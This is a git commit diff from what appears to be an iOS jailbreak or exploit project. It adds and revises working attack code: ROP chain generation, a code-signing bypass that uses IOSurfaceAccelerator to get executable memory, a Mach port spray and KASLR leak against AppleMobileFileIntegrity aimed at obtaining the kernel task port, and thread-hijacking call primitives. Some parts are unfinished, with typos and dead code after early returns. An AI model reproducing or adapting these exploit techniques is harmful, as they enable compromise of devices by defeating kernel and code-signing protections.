summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--.vscode/settings.json5
-rw-r--r--src/gen/main.c4
-rw-r--r--src/gen/stage2.c15
-rw-r--r--src/js/csbypass.js69
-rwxr-xr-xsrc/js/kexp/exploit.js92
-rwxr-xr-xsrc/js/lib/myutils.js7
-rw-r--r--src/js/lib/str.js8
-rw-r--r--src/js/main.js93
-rw-r--r--src/js/primitives/call.js208
-rw-r--r--src/js/primitives/mem.js39
-rw-r--r--tools/-h0
-rw-r--r--tools/935csbypass.c14
-rwxr-xr-xtools/build_native.sh10
-rwxr-xr-xtools/definesbin0 -> 13216 bytes
-rw-r--r--tools/defines.c28
-rwxr-xr-xtools/ent.xml2
-rwxr-xr-xtools/jit_all_the_things.c32
-rw-r--r--tools/payload.s3
-rw-r--r--tools/shc/shellcode.c22
-rw-r--r--work/cs935.c133
-rwxr-xr-xwork/cs_bypass.m302
-rw-r--r--work/shit.js41
22 files changed, 1046 insertions, 81 deletions
diff --git a/.vscode/settings.json b/.vscode/settings.json
new file mode 100644
index 0000000..907117e
--- /dev/null
+++ b/.vscode/settings.json
@@ -0,0 +1,5 @@
+{
+ "files.associations": {
+ "mman.h": "c"
+ }
+} \ No newline at end of file
diff --git a/src/gen/main.c b/src/gen/main.c
index 30726d5..5ee0286 100644
--- a/src/gen/main.c
+++ b/src/gen/main.c
@@ -206,8 +206,8 @@ int main(int argc,
fprintf(stderr, "0x%x\n", RTLD_DEFAULT);
- uint32_t stack_base = 0x1c7718; // my shell setup
-// uint32_t stack_base = 0x1c772c; // my shell setup
+// uint32_t stack_base = 0x1c7718; // my shell setup
+ uint32_t stack_base = 0x1c7708; // my shell setup
// uint32_t stack_base = 0x1c7c88; // my 4s shell setup
// uint32_t stack_base = 0x1c2e48; // my lldb
// uint32_t stack_base = 0x1c7d68; // btserver env
diff --git a/src/gen/stage2.c b/src/gen/stage2.c
index 8b98a7e..7e611c8 100644
--- a/src/gen/stage2.c
+++ b/src/gen/stage2.c
@@ -313,12 +313,17 @@ rop_chain_shit gen_rop_chain(uint32_t base,
uint32_t JSGlobalContextCreateInGroup = get_dyld_shc_sym_addr_jsc("JSGlobalContextCreateInGroup");
uint32_t JSContextGetGlobalObject = get_dyld_shc_sym_addr_jsc("JSContextGetGlobalObject");
uint32_t JSStringCreateWithUTF8CString = get_dyld_shc_sym_addr_jsc("JSStringCreateWithUTF8CString");
+ uint32_t JSObjectGetProperty = get_dyld_shc_sym_addr_jsc("JSObjectGetProperty");
uint32_t JSEvaluateScript = get_dyld_shc_sym_addr_jsc("JSEvaluateScript");
uint32_t dlsym_ = get_dyld_shc_sym_addr("dlsym");
MOV_R0(dlsym_);
STR_R0(base + reserve_addr + 24);
+ fprintf(stderr, "var JSStringCreateWithUTF8CString = 0x%08x;\n"
+ "var JSObjectGetProperty = 0x%08x;\n"
+ "var JSContextGetGlobalObject = 0x%08x;\n", JSStringCreateWithUTF8CString, JSObjectGetProperty, JSContextGetGlobalObject);
+
// uint32_t settimeofday = get_dyld_shc_sym_addr("settimeofday");
fprintf(stderr, "0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x\n", JSContextGroupCreate, JSGlobalContextCreateInGroup, JSContextGetGlobalObject, JSStringCreateWithUTF8CString, JSEvaluateScript, dlsym_);
@@ -356,11 +361,11 @@ rop_chain_shit gen_rop_chain(uint32_t base,
MOV_R0(0x108000);
CALL_SLID(JSStringCreateWithUTF8CString);
- STR_R0(base + reserve_addr + 0x48);
+ STR_R0(base + reserve_addr + 0x4a);
PRINT_STILL_HERE();
- DEREF_IN_R0(base + reserve_addr + 0x48);
+ DEREF_IN_R0(base + reserve_addr + 0x4a);
MOV_R1_R0();
- CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x48);
+ CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x4a);
MOV_R1_R0();
PRINT_STILL_HERE();
@@ -378,13 +383,13 @@ rop_chain_shit gen_rop_chain(uint32_t base,
MOV_R0(0x10a000);
CALL_SLID(JSStringCreateWithUTF8CString);
- STR_R0(base + reserve_addr + 0x48);
+ STR_R0(base + reserve_addr + 0x4a);
PRINT_STILL_HERE();
/*
DEREF_IN_R0(base + reserve_addr + 0x48);
MOV_R1_R0();
*/
- CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x48);
+ CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x4a);
MOV_R1_R0();
PRINT_STILL_HERE();
diff --git a/src/js/csbypass.js b/src/js/csbypass.js
new file mode 100644
index 0000000..e91dac3
--- /dev/null
+++ b/src/js/csbypass.js
@@ -0,0 +1,69 @@
+var RTLD_NOW = 2;
+var PAGE_SIZE = 0x1000;
+
+var CFDictionaryCreateMutable_addr = 0x20809ae1;
+var kCFTypeDictionaryKeyCallBacks_addr = 0x343c79cc;
+var kCFTypeDictionaryValueCallBacks_addr = 0x343c79fc;
+var CFDictionarySetValue_addr = 0x2080a791;
+var CFNumberCreate_addr = 0x2080bc79;
+var kCFNumberSInt32Type = 3;
+
+function csbypass() {
+ printf("hello from csbypass!\n");
+ poc();
+}
+
+function memcpy_exec(dst, src, size) {
+ var dict = NULL;
+ var accel = malloc(4);
+ var width = malloc(4);
+ var height = malloc(4);
+ var pitch = malloc(4);
+ var pixel_format = malloc(4);
+ write_u32(width, PAGE_SIZE / (16 * 4));
+ write_u32(height, 16);
+ write_u32(pitch, read_u32(width) * 4);
+ write_u32(pixel_format, 0x42475241); // ARGB
+ dict = callnarg(CFDictionaryCreateMutable_addr + get_dyld_shc_slide(), 0, 0, kCFTypeDictionaryKeyCallBacks_addr, kCFTypeDictionaryValueCallBacks_addr);
+ printf("dict: %p\n", dict);
+ callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfaceBytesPerRow), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, pitch));
+ callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfaceWidth), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, width));
+ callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfaceHeight), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, height));
+ callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfacePixelFormat), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, pixel_format));
+ printf("fuck you\n");
+ printf("%d\n", callnarg(my_IOSurfaceAcceleratorCreate, 0, 0, accel));
+}
+
+function linkIOSurface() {
+ h = dlopen("/System/Library/PrivateFrameworks/IOSurface.framework/IOSurface", RTLD_NOW);
+
+ my_kIOSurfaceBytesPerRow = dlsym(h, "kIOSurfaceBytesPerRow");
+ my_kIOSurfaceWidth = dlsym(h, "kIOSurfaceWidth");
+ my_kIOSurfaceHeight = dlsym(h, "kIOSurfaceHeight");
+ my_kIOSurfacePixelFormat = dlsym(h, "kIOSurfacePixelFormat");
+
+ scall("printf", "%x %x %x %x\n", my_kIOSurfaceBytesPerRow, my_kIOSurfaceWidth, my_kIOSurfaceHeight, my_kIOSurfacePixelFormat);
+
+ my_IOSurfaceAcceleratorCreate = dlsym(h, "IOSurfaceAcceleratorCreate");
+ my_IOSurfaceCreate = dlsym(h, "IOSurfaceCreate");
+ my_IOSurfaceAcceleratorTransferSurface = dlsym(h, "IOSurfaceAcceleratorTransferSurface");
+}
+
+function poc() {
+ linkIOSurface();
+
+ var tmp = malloc(0x4000);
+ var start = [0x4F, 0xF0, 0x82, 0x40, 0x00, 0x47];
+
+ for (var i = 0; i < start.length; i++) {
+ write_u8(tmp + i, start[i]);
+ }
+
+ var finish = 0x10000;
+
+ memcpy_exec(finish. tmp, 0x1000);
+
+ scall("printf", "%x %x %x %x %x %x %x %x %x %x %x %x %x\n", h, my_kIOSurfaceBytesPerRow, my_kIOSurfaceWidth, my_kIOSurfaceHeight, my_kIOSurfacePixelFormat, my_IOSurfaceAcceleratorCreate, my_IOSurfaceCreate, my_IOSurfaceAcceleratorTransferSurface, 0x41414141);
+
+// var finish =
+} \ No newline at end of file
diff --git a/src/js/kexp/exploit.js b/src/js/kexp/exploit.js
index 544a876..c667dd2 100755
--- a/src/js/kexp/exploit.js
+++ b/src/js/kexp/exploit.js
@@ -105,24 +105,28 @@ function copyinPort(kport, cnt) {
var data = malloc(4);
var master = malloc(4);
fakeportData = malloc(4);
+ var host_self = mach_host_self();
host_get_io_master(mach_host_self(), master);
ret = spray_data(NULL, 0, 5, data);
printf("sprayed, still here\n");
printf("spray_data=%d (%s)\n", ret, mach_error_string(ret));
printf("sprayed, still here\n");
+// printf("%x %x\n", master, read_u32(master));
service = IOServiceGetMatchingService(read_u32(master), IOServiceMatching("AppleMobileFileIntegrity"));
printf("service=%x\n", service);
var tst = sptr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
+ printf("%x\n", tst);
var kpbuf = tst + 4;
for (var i = 0; i < cnt; i++) {
write_buf(kpbuf + (i * kport_size), read_buf(kport + (i * kport_size), kport_size), kport_size);
}
var err = malloc(4);
- var xml = sptr("<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>");
- ret = io_service_open_extended(service, self, 0, 0, 1, xml, strlen(xml) + 1, err, client);
+ var xmls = "<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>";
+ var xml = sptr(xmls);
+ ret = io_service_open_extended(service, self, 0, 0, 1, xml, xmls.length + 1, err, client);
printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret));
if (ret == KERN_SUCCESS) {
ret = read_u32(err);
@@ -132,7 +136,6 @@ function copyinPort(kport, cnt) {
var found = false;
var o = IOIteratorNext(read_u32(it));
- printf("%x\n", o);
while (o != MACH_PORT_NULL && !found) {
var buf = malloc(16 * 4);
@@ -141,13 +144,8 @@ function copyinPort(kport, cnt) {
ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", buf, size);
printf("%d %s\n", ret, mach_error_string(ret));
if (ret == KERN_SUCCESS) {
- printf("yolo\n");
-// mach_port_deallocate(self, read_u32(data));
-// write_u32(data, MACH_PORT_NULL);
spray_data(tst, strlen(tst) + 1, 10, fakeportData);
- printf("still still alive?\n");
kslide = (((read_u32(buf + (9 << 2)) & 0xFFF00000) + 0x1000) -0x80001000) >>> 0;
- printf("still alive? %x\n", 420);
printf("YOLO YOLO YOLO kaslr_slide=%s\n", kslide.toString(16));
found = true;
return ((read_u32(buf + (4 << 2)) - 0x78)) >>> 0;
@@ -202,7 +200,10 @@ function spray_ports(number_port_descs) {
mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, mp);
mach_port_insert_right(task_self, read_u32(mp), read_u32(mp), MACH_MSG_TYPE_MAKE_SEND);
- send_ports(read_u32(mp), read_u32(kp), 2, number_port_descs);
+ var ret_ = send_ports(read_u32(mp), read_u32(kp), 2, number_port_descs);
+
+// printf("%d (%s)\n", ret_, mach_error_string(ret_));
+
var ret = read_u32(mp);
free(mp);
return ret;
@@ -236,75 +237,46 @@ function send_ports(target, payload, num, number_port_descs) {
write_u32(init_port_set + (i << 2), payload);
}
- var buf = malloc(0x1c + (number_port_descs * 0xc * 8));
+ // var buf = malloc(0x1c + (number_port_descs * 0xc * 8));
- write_u32(buf + req_msgh_body_msgh_descriptor_count, number_port_descs);
+// write_u32(buf + req_msgh_body_msgh_descriptor_count, number_port_descs);
- var new_buf = new Uint32Array(3);
-// var tmp = u32_to_u8x4(init_port_set);
- new_buf[0] = (init_port_set);
- new_buf[1] = (num);
- new_buf[2] = ((19 << 24) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 16));
-
-// new_buf_.push(tmp[0]);
-// new_buf_.push(tmp[1]);
-// new_buf_.push(tmp[2]);
-// new_buf_.push(tmp[3]);
-// tmp = u32_to_u8x4(num);
-// new_buf_.push(tmp[0]);
-// new_buf_.push(tmp[1]);
-// new_buf_.push(tmp[2]);
-// new_buf_.push(tmp[3]);
-// new_buf_.push(0);
-// new_buf_.push(0);
-// new_buf_.push(MACH_MSG_OOL_PORTS_DESCRIPTOR);
-// new_buf_.push(19);
-
-// printf("%x 0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,\n", new_buf_.length, new_buf_[zz]]);
-
-// var new_buf = fast_array_mul(new_buf_, number_port_descs);
+// var buf = new Uint32Array((0x1c + (3 * number_port_descs)) / 4);
- for (var i = 0; i < number_port_descs; i++) {
- write_u32_buf(buf + req_init_port_set + (i * 0xc), new_buf, new_buf.length * 4);
- }
+ large_buf[req_msgh_body_msgh_descriptor_count / 4] = number_port_descs;
- /*
- for (var i = 0; i < number_port_descs; i++) {
- write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_address, init_port_set);
- write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_count, num);
- write_u8(buf + (req_init_port_set * (i + 1)) + 0x8, 0);
- write_u8(buf + (req_init_port_set * (i + 1)) + 0xa, 19);
- write_u8(buf + (req_init_port_set * (i + 1)) + 0xb, MACH_MSG_OOL_PORTS_DESCRIPTOR);
- }*/
+ var tmp = ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24));
- write_u32(buf + req_head_msgh_bits, 0x80001513); // MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE)
- write_u32(buf + req_head_msgh_request_port, target);
- write_u32(buf + req_head_msgh_reply_port, 0);
- write_u32(buf + req_head_msgh_id, 1337);
+ for (var i = 0; i < number_port_descs; i++) {
+ var tmp2 = (i * 3) + (req_init_port_set >>> 2);
+ large_buf[tmp2 + 0] = (init_port_set);
+ large_buf[tmp2 + 1] = (num);
+ large_buf[tmp2 + 2] = tmp;
+ }
- var ret = mach_msg(buf, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL);
+ large_buf[req_head_msgh_bits >>> 2] = 0x80001513; // MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE)
+ large_buf[req_head_msgh_request_port >>> 2] = target;
+ large_buf[req_head_msgh_reply_port >>> 2] = 0;
+ large_buf[req_head_msgh_id >>> 2] = 1337;
- free(buf);
+// printf("%s\n", prim_hexdump(read_buf(large_buf_ptr, 0x100)));
+
+ var ret = mach_msg(large_buf_ptr, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL);
return ret;
}
function release_port_ptrs(port) {
- printf("alive\n");
var req = malloc(0x1c + (5 * 0xc) + 0x8);
for (var i = 0; i < (0x1c + (5 * 0xc) + 0x8); i += 4) {
write_u32(req + i, 0x0);
}
printf("%s\n", hexdump(read_buf(req, 0x1c + (5 * 0xc) + 0x8), 8, 2, req, 8, "0"));
- printf("alive\n");
var ret = mach_msg(req, MACH_RCV_MSG, 0, (0x1c + (5 * 0xc) + 0x8), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
- printf("alive\n");
- // if (ret != KERN_SUCCESS) {
-// printf("mach_recv %d %s\n", ret, mach_error_string(ret));
- printf("alive\n");
- // }
+ if (ret != KERN_SUCCESS) {
+ printf("mach_recv %d %s\n", ret, mach_error_string(ret));
+ }
free(req);
- printf("alive\n");
}
function get_kernel_task() {
@@ -335,7 +307,7 @@ function get_kernel_task() {
var big_buf = malloc(MIG_MAX);
var small_buf = malloc(MIG_MAX);
-
+
var big_size = malloc(4);
var small_size = malloc(4);
diff --git a/src/js/lib/myutils.js b/src/js/lib/myutils.js
index e856624..89860f8 100755
--- a/src/js/lib/myutils.js
+++ b/src/js/lib/myutils.js
@@ -116,4 +116,9 @@ var mach_msg = scall_wrapper("mach_msg");
var mmap = scall_wrapper("mmap");
var free = scall_wrapper("free");
var mlock = scall_wrapper("mlock");
-var mprotect = scall_wrapper("mprotect"); \ No newline at end of file
+var mprotect = scall_wrapper("mprotect");
+var dlopen = scall_wrapper("dlopen");
+var dlsym = scall_wrapper("dlsym");
+var CFDictionaryCreateMutable = scall_wrapper("CFDictionaryCreateMutable");
+var CFDictionarySetValue = scall_wrapper("CFDictionarySetValue");
+var CFNumberCreate = scall_wrapper("CFNumberCreate"); \ No newline at end of file
diff --git a/src/js/lib/str.js b/src/js/lib/str.js
index 31621bf..c95573d 100644
--- a/src/js/lib/str.js
+++ b/src/js/lib/str.js
@@ -2,7 +2,7 @@
* currently unused (iirc) garbage
* basically just prints an address than the uint32_t there, and then +4, etc
*/
-function prim_dump_u32(buf) {
+function prim_dump_u32(buf, base) {
s = "";
for (var i = 0; i < buf.length; i += 4) {
@@ -13,10 +13,10 @@ function prim_dump_u32(buf) {
tmp.push(buf[i + 2]);
tmp.push(buf[i + 3]);
- s += "0x" + pad_left((0x422200 + i).toString(16), "0", 8);
+ s += "0x" + pad_left((base + i).toString(16), "0", 8);
s += ": ";
s += "0x" + pad_left(u8x4_to_u32(tmp).toString(16), "0", 8);
- if (u8x4_to_u32(tmp) >= 0x1800000 && u8x4_to_u32(tmp) < 0x1900000) {
+/* if (u8x4_to_u32(tmp) >= 0x1800000 && u8x4_to_u32(tmp) < 0x1900000) {
s += " -> 0x" + pad_left(read_u32(u8x4_to_u32(tmp)).toString(16), "0", 8);
s += "\n";
val = read_u32(u8x4_to_u32(tmp));
@@ -24,7 +24,7 @@ function prim_dump_u32(buf) {
buf = read_buf(val, 0x100);
s += (hexdump(buf, 8, 2, val, 8, "0x"));
}
- }
+ }*/
s += "\n";
}
diff --git a/src/js/main.js b/src/js/main.js
index 7021ab1..c6ceba0 100644
--- a/src/js/main.js
+++ b/src/js/main.js
@@ -19,6 +19,8 @@ var PROT_EXEC = 0x4;
var MAP_PRIVATE = 0x2;
var MAP_ANON = 0x1000;
+var victim = {a: 13.37};
+
/*
* leftover shit from jsc_fun, used to be using `log`
*/
@@ -32,6 +34,10 @@ try {
puts = function (){};
}
+var JSStringCreateWithUTF8CString = 0x239f9d0d;
+var JSObjectGetProperty = 0x239fa411;
+var JSContextGetGlobalObject = 0x239f8dfd;
+
function main() {
/*
* get slide and calculate slid base
@@ -48,6 +54,8 @@ function main() {
init_sptr_heap();
+ scall("printf", "%x %x %x %x", 0x41, 0x42, 0x43, 0x44);
+
puts("we out here");
puts("I came through a portal holding a 40 and a blunt. Do you really wanna test me right now?");
@@ -56,9 +64,92 @@ function main() {
printf("*(uint16_t*)base = 0x%x\n", read_u16(base));
printf("*(uint32_t*)base = 0x%x\n", read_u32(base));
- var tfp0 = get_kernel_task();
+ var dyld_shc_slide = get_dyld_shc_slide();
+
+ sym_cache["JSStringCreateWithUTF8CString"] = JSStringCreateWithUTF8CString + dyld_shc_slide;
+ sym_cache["JSObjectGetProperty"] = JSObjectGetProperty + dyld_shc_slide;
+ sym_cache["JSContextGetGlobalObject"] = JSContextGetGlobalObject + dyld_shc_slide;
+
+ prep_shit();
+ large_buf[0] = 0x41424344;
+ printf("%x\n", read_u32(large_buf_ptr));
+
+ csbypass();
+
+ return;
+
+ var tfp0 = get_kernel_task();
+
printf("tfp0=%x\n", tfp0);
+
+ return;
+
+ printf("dead?\n");
+ var string_ref = scall("JSStringCreateWithUTF8CString", sptr("victim"));
+ printf("dead? %x\n", string_ref);
+ var global_object = scall("JSContextGetGlobalObject", read_u32(slid + reserve_addr + 0x44));
+ printf("dead? %x\n", global_object);
+ var jsobj_addr = scall("JSObjectGetProperty", read_u32(slid + reserve_addr + 0x44), global_object, string_ref, NULL);
+ printf("dead?\n");
+
+ printf("%x\n", jsobj_addr);
+// printf("%s\n", hexdump(read_buf(jsobj_addr - 0x100, 0x200), 8, 2, jsobj_addr - 0x100, 8, '0'));
+ victim.target = parent;
+ printf("%x\n", read_u32(jsobj_addr + 0x18));
+// printf("%s\n", prim_dump_u32(read_buf(jsobj_addr - 0x10, 0x60), jsobj_addr - 0x10));
+// printf("%s\n", hexdump(read_buf(jsobj_addr - 0x100, 0x200), 8, 2, jsobj_addr - 0x100, 8, '0'));
+
+ /*
+ UIAlertView *alert = [[UIAlertView alloc] initWithTitle:@"ROFL"
+ message:@"Dee dee doo doo."
+ delegate:self
+ cancelButtonTitle:@"OK"
+ otherButtonTitles:nil];
+ [alert show];
+ */
+
+ return;
+
+ var rop_buf = new Array();
+ var nop = (0x781a | 1) + slid;
+ var zero_arr = [].slice.call(u32_to_u8x4(0));
+ var nop_arr = [].slice.call(u32_to_u8x4(nop));
+ rop_buf.push(0);
+ rop_buf.push(0);
+ rop_buf.push(0);
+ rop_buf.push(0);
+ rop_buf.push(0);
+ rop_buf.push(0);
+ rop_buf.push(0);
+ rop_buf.push(nop);
+ for (var i = 0; i < 0x40000; i++) {
+ rop_buf.push(0);
+ rop_buf.push(0);
+ rop_buf.push(0);
+ rop_buf.push(0);
+ rop_buf.push(nop);
+ if (i % 0x1000 == 0) {
+ printf("%x\n", i);
+ }
+ }
+ rop_buf.push(0);
+ rop_buf.push(0);
+ rop_buf.push(0);
+ rop_buf.push(0);
+ rop_buf.push(0x41414141);
+
+ printf("gen'd buf\n");
+
+// printf("%s\n", rop_buf[0].toString(16));
+
+ printf("exec'ing\n");
+ exec_rop(rop_buf);
+ printf("done\n");
+
+// var tfp0 = get_kernel_task();
+
+// printf("tfp0=%x\n", tfp0);
return;
diff --git a/src/js/primitives/call.js b/src/js/primitives/call.js
index be4f254..3a2980a 100644
--- a/src/js/primitives/call.js
+++ b/src/js/primitives/call.js
@@ -31,8 +31,9 @@ var mov_r1_r0 = 0x72f76 | 1;
var mov_r0 = 0xee40 | 1;
var str_r0_r4 = 0x85474 | 1;
-var stack_shit = 0x161000;
+//var stack_shit = 0x161000;
var pthread_ret = 0;
+var stack_shit_rop = 0;
function get_dyld_shc_slide() {
/*
@@ -140,11 +141,13 @@ function symaddr(sym) {
return addy;
}
-function callnarg() {
+function callnarg_new() {
if (arguments.length < 1) {
return printf("error: tried to run callnarg without args. arguments.length=%d\n", arguments.length);
}
+ var stack_shit = 0x161000;
+
/*
* setup ptrs
*/
@@ -232,6 +235,121 @@ function callnarg() {
return read_u32(pthread_ret);
}
+function callnarg() {
+ if (arguments.length < 1) {
+ return printf("error: tried to run callnarg without args. arguments.length=%d\n", arguments.length);
+ }
+
+ /*
+ * setup ptrs
+ */
+ write_u32(countptr, count);
+ write_u32(thptr, th);
+ write_u32(threadptr, thread);
+ write_u32(thread_stateptr, thread_state);
+
+ write_u32(countptrptr, countptr);
+ write_u32(thptrptr, thptr);
+ write_u32(threadptrptr, threadptr);
+ write_u32(thread_stateptrptr, thread_stateptr);
+
+ var addy = arguments[0];
+ var dyld_shc_slide = get_dyld_shc_slide();
+
+ var stack_shit = 0x161000;
+
+ /*
+ * make __stack_chk_fail infinite loop
+ * (works by setting its lazy addy to its resolver, thus the resolver just
+ * endlessly jumps to iself)
+ */
+ write_u32(__stack_chk_fail_lazy_addy + dyld_shc_slide, __stack_chk_fail_resolver + dyld_shc_slide);
+
+ /*
+ * if the thread doesn't exist, create it.
+ */
+ if (read_u32(th) === 0) {
+ calls4arg("pthread_create", threadptr, 0, __stack_chk_fail_resolver + dyld_shc_slide, 0);
+ thread = read_u32(threadptr);
+ write_u32(th, calls4arg("pthread_mach_thread_np", thread, 0, 0, 0));
+ rth = read_u32(th);
+ }
+
+ if (rth === 0) {
+ rth = read_u32(th);
+ }
+
+// calls4arg("thread_suspend", rth, 0, 0, 0);
+
+ /*
+ * write first 4 to r0-r3, rest to stack
+ */
+ for (var i = 1; i < arguments.length; i++) {
+ if (i <= 4) {
+ write_u32(thread_state + ((i - 1) << 2), arguments[i]);
+ } else {
+ write_u32(stack_shit + ((i - 5) << 2), arguments[i]);
+ }
+ }
+
+ /*
+ * r9
+ */
+ write_u32(thread_state + (11 << 2), 0x1337);
+
+ /*
+ * stack
+ */
+ write_u32(thread_state + (13 << 2), stack_shit);
+
+ /*
+ * return address, infinite loop
+ */
+ write_u32(thread_state + (14 << 2), __stack_chk_fail_resolver + dyld_shc_slide);
+
+ /*
+ * pc
+ */
+ write_u32(thread_state + (15 << 2), addy);
+
+ /*
+ * cpsr, magic
+ */
+ if (addy & 1) {
+ write_u32(thread_state + (16 << 2), 0x40000020);
+ } else {
+ write_u32(thread_state + (16 << 2), 0x40000000);
+ }
+
+ /*
+ * set the state
+ */
+ calls4arg("thread_set_state", rth, ARM_THREAD_STATE, thread_state, ARM_THREAD_STATE_COUNT);
+ calls4arg("thread_resume", rth, 0, 0, 0);
+
+ /*
+ * spin wait for return
+ */
+ while (true) {
+ /*
+ * reset, it's used as input for thread_state size
+ */
+ write_u32(count, 17);
+ calls4arg("thread_get_state", rth, ARM_THREAD_STATE, thread_state, count);
+
+ /*
+ * if the pc is in (resolver, resolver + 8), suspend the thread
+ * (to not spin endlessly), read r0 and return
+ */
+ if (((read_u32(thread_state + (15 << 2)) == (__stack_chk_fail_resolver + dyld_shc_slide)))) {
+ calls4arg("thread_suspend", rth, 0, 0, 0);
+ return read_u32(thread_state);
+ }
+
+// calls4arg("usleep", 1000, 0, 0, 0);
+ }
+}
+
/*
* call with symbol
*/
@@ -256,6 +374,8 @@ function scall() {
sym_cache[sym] = addy;
}
+// printf("%s %x %x\n", sym, addy, sym_cache[sym]);
+
var args_to_pass = new Array();
var force_callnarg = false;
@@ -283,4 +403,88 @@ function scall() {
}
return call4arg.apply(this, args_to_pass)
}
+}
+
+function rop_init() {
+ stack_shit_rop = scall("mmap", 0, 0x1000000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);
+}
+
+function exec_rop(buf) {
+ /*
+ * setup ptrs
+ */
+ write_u32(countptr, count);
+ write_u32(thptr, th);
+ write_u32(threadptr, thread);
+ write_u32(thread_stateptr, thread_state);
+
+ write_u32(countptrptr, countptr);
+ write_u32(thptrptr, thptr);
+ write_u32(threadptrptr, threadptr);
+ write_u32(thread_stateptrptr, thread_stateptr);
+
+ var dyld_shc_slide = get_dyld_shc_slide();
+
+ /*
+ * make __stack_chk_fail infinite loop
+ * (works by setting its lazy addy to its resolver, thus the resolver just
+ * endlessly jumps to iself)
+ */
+ write_u32(__stack_chk_fail_lazy_addy + dyld_shc_slide, __stack_chk_fail_resolver + dyld_shc_slide);
+
+ if (stack_shit_rop == 0) {
+ rop_init();
+ }
+
+ calls4arg("printf", sptr("%x %x\n"), 0, stack_shit_rop, 0);
+
+ /*
+ * if the thread doesn't exist, create it.
+ */
+ calls4arg("pthread_create", threadptr, 0, __stack_chk_fail_resolver + dyld_shc_slide, 0);
+ thread = read_u32(threadptr);
+ write_u32(th, calls4arg("pthread_mach_thread_np", thread, 0, 0, 0));
+ rth = read_u32(th);
+ calls4arg("thread_suspend", rth, 0, 0, 0);
+
+ if (pthread_ret == 0) {
+ pthread_ret = malloc(4);
+ }
+
+ write_u32_buf(stack_shit_rop + 0x3c, buf, buf.length * 4);
+
+ /*
+
+ var stack_shit_ret_offset = 0x58;
+
+ write_u32(stack_shit + stack_shit_ret_offset, pthread_exit + dyld_shc_slide);
+ */
+
+ /*
+ * stack
+ */
+ write_u32(thread_state + (13 << 2), stack_shit_rop);
+
+ /*
+ * pc
+ */
+ write_u32(thread_state + (15 << 2), add_sp_0x3c + dyld_shc_slide);
+
+ /*
+ * cpsr, magic
+ */
+ write_u32(thread_state + (16 << 2), 0x40000020);
+
+ printf("actually doing it\n");
+
+ /*
+ * set the state
+ */
+ calls4arg("thread_set_state", rth, ARM_THREAD_STATE, thread_state, ARM_THREAD_STATE_COUNT);
+ calls4arg("thread_resume", rth, 0, 0, 0);
+
+ calls4arg("pthread_join", thread, pthread_ret, 0, 0);
+ write_u32(count, 17);
+ calls4arg("thread_get_state", rth, ARM_THREAD_STATE, thread_state, count);
+ return read_u32(pthread_ret);
} \ No newline at end of file
